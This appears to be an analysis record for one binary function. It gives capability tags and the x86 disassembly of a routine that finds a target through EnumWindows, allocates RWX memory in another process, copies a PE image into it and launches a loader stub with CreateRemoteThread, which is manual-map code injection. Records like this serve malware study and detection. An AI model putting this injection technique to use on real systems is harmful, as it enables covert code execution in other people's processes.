Function at 0x401c40
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406010
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x40a040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, ecx
mov dword [ebp - 0x48], eax
sub esp, 0x18
mov dword [ebp - 0x38], eax
mov esi, esp
mov ecx, edx
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
lea edi, [ecx + 1]
mov dword [esi + 0x14], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x401c94
sub ecx, edi
push ecx
push edx
mov ecx, esi
call fcn.004030e0
call fcn.00401140
mov edi, eax
mov dword [ebp - 0x18], 0
add esp, 0x18
mov dword [ebp - 0x3c], edi
cmp byte [ebp + 0xc], 0
mov dword [ebp - 0x1c], edi
je 0x401d17
mov esi, dword [sym.imp.USER32.dll_EnumWindows]
lea eax, [ebp - 0x1c]
push eax
push 0x4015e0
call esi
cmp dword [ebp - 0x18], 0
jne 0x401d01
mov dword [ebp - 0x44], 0x3e8
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x44]
call fcn.00402450
lea eax, [ebp - 0x1c]
push eax
push 0x4015e0
call esi
cmp dword [ebp - 0x18], 0
je 0x401ce8
lea ecx, [ebp - 0x44]
mov dword [ebp - 0x44], 0x3a98
mov dword [ebp - 0x40], 0
call fcn.00402450
mov ecx, dword [ebp - 0x48]
lea edx, [ebp - 0x40]
mov dword [ebp - 4], 0
call fcn.00401a30
push edi
push 0
push 0x1fffff
mov esi, dword [eax + 0x3c]
add esi, eax
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], esi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x40
push 0x3000
push dword [esi + 0x50]
mov edi, eax
push 0
push edi
mov dword [ebp - 0x38], edi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
push dword [esi + 0x54]
mov dword [ebp - 0x48], eax
push dword [ebp - 0x40]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x401dad
add esi, 0x10c
nop dword [eax]
mov eax, dword [esi]
add eax, dword [ebp - 0x40]
push 0
push dword [esi - 4]
push eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x48]
push eax
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x3c]
lea esi, [esi + 0x28]
inc edi
movzx eax, word [eax + 6]
cmp edi, eax
jl 0x401d80
mov esi, dword [ebp - 0x3c]
push 0x40
push 0x3000
push 0x1000
push 0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x40]
mov edi, eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x34], eax
push 0
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x30], ecx
mov ecx, dword [esi + 0xa0]
add ecx, eax
mov dword [ebp - 0x2c], ecx
mov ecx, dword [esi + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x24], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x18
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x34]
push eax
push edi
push dword [ebp - 0x38]
mov dword [ebp - 0x28], ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
mov eax, fcn.004015d0
lea esi, [edi + 0x18]
sub eax, 0x4014c0
push eax
push 0x4014c0
push esi
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
jmp 0x402034
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00404e1d
mov esp, ebp
pop ebp
ret